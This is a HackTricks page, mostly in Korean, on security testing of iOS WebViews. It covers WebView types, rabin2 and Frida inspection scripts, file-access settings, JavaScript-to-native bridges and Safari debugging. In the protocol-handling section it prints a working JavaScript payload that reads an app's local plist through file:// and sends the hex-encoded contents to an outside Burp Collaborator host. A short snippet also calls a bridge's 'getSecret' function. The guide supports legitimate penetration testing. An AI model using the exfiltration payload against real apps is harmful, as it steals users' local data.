iOS WebViews

Support HackTricks

The code of this page was extracted from here. Check the page for further details.

WebViews types

WebViews는 애플리케이션 내에서 웹 콘텐츠를 대화형으로 표시하는 데 사용됩니다. 다양한 유형의 WebViews는 iOS 애플리케이션에 대해 서로 다른 기능과 보안 기능을 제공합니다. 간략한 개요는 다음과 같습니다:

  • UIWebViewJavaScript 비활성화 지원 부족으로 인해 iOS 12 이후 더 이상 권장되지 않으며, 이는 스크립트 주입 및 Cross-Site Scripting (XSS) 공격에 취약합니다.

  • WKWebView는 앱에 웹 콘텐츠를 통합하는 데 선호되는 옵션으로, 콘텐츠 및 보안 기능에 대한 향상된 제어를 제공합니다. JavaScript는 기본적으로 활성화되어 있지만 필요에 따라 비활성화할 수 있습니다. 또한 JavaScript가 자동으로 창을 여는 것을 방지하는 기능을 지원하며, 모든 콘텐츠가 안전하게 로드되도록 보장합니다. 추가로, WKWebView의 아키텍처는 메인 앱 프로세스에 영향을 미치는 메모리 손상 위험을 최소화합니다.

  • SFSafariViewController는 앱 내에서 표준화된 웹 브라우징 경험을 제공하며, 읽기 전용 주소 필드, 공유 및 탐색 버튼, Safari에서 콘텐츠를 열기 위한 직접 링크를 포함한 특정 레이아웃으로 인식됩니다. WKWebView와 달리 SFSafariViewController에서는 JavaScript를 비활성화할 수 없으며, Safari와 쿠키 및 데이터를 공유하여 앱에서 사용자 프라이버시를 유지합니다. App Store 가이드라인에 따라 눈에 띄게 표시되어야 합니다.

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

WebViews 구성 탐색 요약

정적 분석 개요

WebViews 구성을 조사하는 과정에서 두 가지 주요 유형에 초점을 맞춥니다: UIWebViewWKWebView. 이 WebViews를 바이너리 내에서 식별하기 위해 특정 클래스 참조 및 초기화 메서드를 검색하는 명령이 사용됩니다.

  • UIWebView 식별

$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

이 명령은 이진 파일에서 관련 텍스트 문자열을 검색하여 UIWebView 인스턴스를 찾는 데 도움이 됩니다.

  • WKWebView 식별

$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

유사하게, WKWebView의 경우, 이 명령은 사용을 나타내는 텍스트 문자열을 이진 파일에서 검색합니다.

또한, WKWebView가 어떻게 초기화되는지 찾기 위해, 초기화와 관련된 메서드 시그니처를 대상으로 다음 명령이 실행됩니다:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

JavaScript 구성 확인

WKWebView의 경우, 필요하지 않은 경우 JavaScript를 비활성화하는 것이 모범 사례로 강조됩니다. 컴파일된 바이너리를 검색하여 javaScriptEnabled 속성이 false로 설정되어 있는지 확인하여 JavaScript가 비활성화되었는지 확인합니다:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

오직 안전한 콘텐츠 검증

WKWebViewUIWebView와 대조적으로 혼합 콘텐츠 문제를 식별할 수 있는 기능을 제공합니다. 이는 모든 페이지 리소스가 안전한 연결을 통해 로드되도록 hasOnlySecureContent 속성을 사용하여 확인됩니다. 컴파일된 바이너리에서의 검색은 다음과 같이 수행됩니다:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

동적 분석 통찰력

동적 분석은 WebView 인스턴스와 그 속성을 검사하는 것을 포함합니다. 이를 위해 webviews_inspector.js라는 스크립트가 사용되며, UIWebView, WKWebView, 및 SFSafariViewController 인스턴스를 대상으로 합니다. 이 스크립트는 발견된 인스턴스에 대한 정보, URL 및 JavaScript와 보안 콘텐츠와 관련된 설정을 기록합니다.

힙 검사는 ObjC.choose()를 사용하여 WebView 인스턴스를 식별하고 javaScriptEnabledhasonlysecurecontent 속성을 확인하는 방식으로 수행할 수 있습니다.

webviews_inspector.js
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});

스크립트는 다음과 같이 실행됩니다:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

주요 결과:

  • WebView 인스턴스가 성공적으로 위치 확인되고 검사됨.

  • JavaScript 활성화 및 보안 콘텐츠 설정이 검증됨.

이 요약은 JavaScript 활성화 및 혼합 콘텐츠 감지와 같은 보안 기능에 중점을 두고 정적 및 동적 접근 방식을 통해 WebView 구성 분석에 관련된 중요한 단계와 명령을 요약합니다.

WebView 프로토콜 처리

WebView에서 콘텐츠를 처리하는 것은 중요한 측면으로, http(s)://, file://, tel://와 같은 다양한 프로토콜을 다룰 때 특히 그렇습니다. 이러한 프로토콜은 앱 내에서 원격 및 로컬 콘텐츠를 로드할 수 있게 해줍니다. 로컬 콘텐츠를 로드할 때는 사용자가 파일의 이름이나 경로에 영향을 미치거나 콘텐츠 자체를 편집하지 못하도록 주의해야 한다는 점이 강조됩니다.

WebViews는 콘텐츠 로딩을 위한 다양한 방법을 제공합니다. 이제 더 이상 사용되지 않는 UIWebView의 경우, loadHTMLString:baseURL:loadData:MIMEType:textEncodingName:baseURL:와 같은 방법이 사용됩니다. 반면 WKWebView는 웹 콘텐츠를 위해 loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL:, 및 loadRequest:를 사용합니다. 로컬 파일을 로드하기 위해 일반적으로 pathForResource:ofType:, URLForResource:withExtension:, 및 init(contentsOf:encoding:)와 같은 방법이 활용됩니다. loadFileURL:allowingReadAccessToURL: 메서드는 특정 URL 또는 디렉토리를 WebView에 로드할 수 있는 능력으로 특히 주목할 만하며, 디렉토리가 지정될 경우 민감한 데이터가 노출될 수 있습니다.

소스 코드나 컴파일된 바이너리에서 이러한 방법을 찾기 위해 다음과 같은 명령을 사용할 수 있습니다:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

Regarding file access, UIWebView는 이를 보편적으로 허용하는 반면, WKWebView는 파일 URL에서의 접근을 관리하기 위해 allowFileAccessFromFileURLsallowUniversalAccessFromFileURLs 설정을 도입하며, 두 설정 모두 기본값은 false입니다.

보안 설정을 검사하기 위한 WKWebView 구성의 Frida 스크립트 예제가 제공됩니다:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

마지막으로, 로컬 파일을 유출하기 위한 JavaScript 페이로드의 예는 잘못 구성된 WebViews와 관련된 잠재적인 보안 위험을 보여줍니다. 이 페이로드는 파일 내용을 헥스 형식으로 인코딩한 후 서버로 전송하여 WebView 구현에서 엄격한 보안 조치의 중요성을 강조합니다.

String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

Native Methods Exposed Through WebViews

Understanding WebView Native Interfaces in iOS

iOS 7부터 Apple은 WebView의 JavaScript와 네이티브 Swift 또는 Objective-C 객체 간의 통신을 위한 API를 제공했습니다. 이 통합은 주로 두 가지 방법을 통해 이루어집니다:

  • JSContext: Swift 또는 Objective-C 블록이 JSContext 내의 식별자에 연결될 때 JavaScript 함수가 자동으로 생성됩니다. 이를 통해 JavaScript와 네이티브 코드 간의 원활한 통합 및 통신이 가능합니다.

  • JSExport Protocol: JSExport 프로토콜을 상속함으로써 네이티브 속성, 인스턴스 메서드 및 클래스 메서드를 JavaScript에 노출할 수 있습니다. 이는 JavaScript 환경에서 이루어진 모든 변경 사항이 네이티브 환경에 반영되고 그 반대도 마찬가지임을 의미합니다. 그러나 이 방법을 통해 민감한 데이터가 우발적으로 노출되지 않도록 하는 것이 중요합니다.

Accessing JSContext in Objective-C

Objective-C에서 UIWebViewJSContext는 다음 코드 한 줄로 검색할 수 있습니다:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

Communication with WKWebView

WKWebView의 경우, JSContext에 직접 접근할 수 없습니다. 대신, JavaScript와 네이티브 간의 통신을 가능하게 하는 postMessage 함수를 통해 메시지 전달이 사용됩니다. 이러한 메시지에 대한 핸들러는 다음과 같이 설정되어, JavaScript가 네이티브 애플리케이션과 안전하게 상호작용할 수 있도록 합니다:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

Interaction and Testing

JavaScript는 스크립트 메시지 핸들러를 정의하여 네이티브 레이어와 상호작용할 수 있습니다. 이를 통해 웹페이지에서 네이티브 함수를 호출하는 것과 같은 작업이 가능합니다:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

네이티브 함수 호출의 결과를 캡처하고 조작하기 위해, HTML 내에서 콜백 함수를 오버라이드할 수 있다:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>

네이티브 측은 JavaScriptBridgeMessageHandler 클래스에서 보여준 것처럼 JavaScript 호출을 처리하며, 숫자 곱셈과 같은 작업의 결과를 처리하고 이를 JavaScript로 다시 전송하여 표시하거나 추가 조작을 위해 사용합니다:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

iOS WebViews 디버깅

(Tutorial based on the one from https://blog.vuplex.com/debugging-webviews)

iOS webviews 내의 웹 콘텐츠를 효과적으로 디버깅하려면 console.log()에 전송된 메시지가 Xcode 로그에 표시되지 않기 때문에 Safari의 개발자 도구를 포함한 특정 설정이 필요합니다. 다음은 주요 단계와 요구 사항을 강조한 간단한 가이드입니다:

  • iOS 기기 준비: iOS 기기에서 Safari 웹 검사기를 활성화해야 합니다. 이는 설정 > Safari > 고급으로 이동하여 _웹 검사기_를 활성화함으로써 수행됩니다.

  • macOS 기기 준비: macOS 개발 머신에서 Safari 내의 개발자 도구를 활성화해야 합니다. Safari를 실행하고 Safari > 환경설정 > 고급에 접근하여 개발 메뉴 표시 옵션을 선택합니다.

  • 연결 및 디버깅: iOS 기기를 macOS 컴퓨터에 연결하고 애플리케이션을 실행한 후, macOS 기기에서 Safari를 사용하여 디버깅할 웹뷰를 선택합니다. Safari의 메뉴 바에서 _개발_로 이동하고 iOS 기기 이름 위에 마우스를 올려 웹뷰 인스턴스 목록을 확인한 후, 검사할 인스턴스를 선택합니다. 이 목적을 위해 새로운 Safari 웹 검사기 창이 열립니다.

그러나 제한 사항에 유의하십시오:

  • 이 방법으로 디버깅하려면 macOS 기기가 필요합니다. 이는 Safari에 의존하기 때문입니다.

  • Xcode를 통해 기기에 로드된 애플리케이션의 웹뷰만 디버깅할 수 있습니다. App Store 또는 Apple Configurator를 통해 설치된 앱의 웹뷰는 이 방법으로 디버깅할 수 없습니다.

참고 문헌

HackTricks 지원하기

Last updated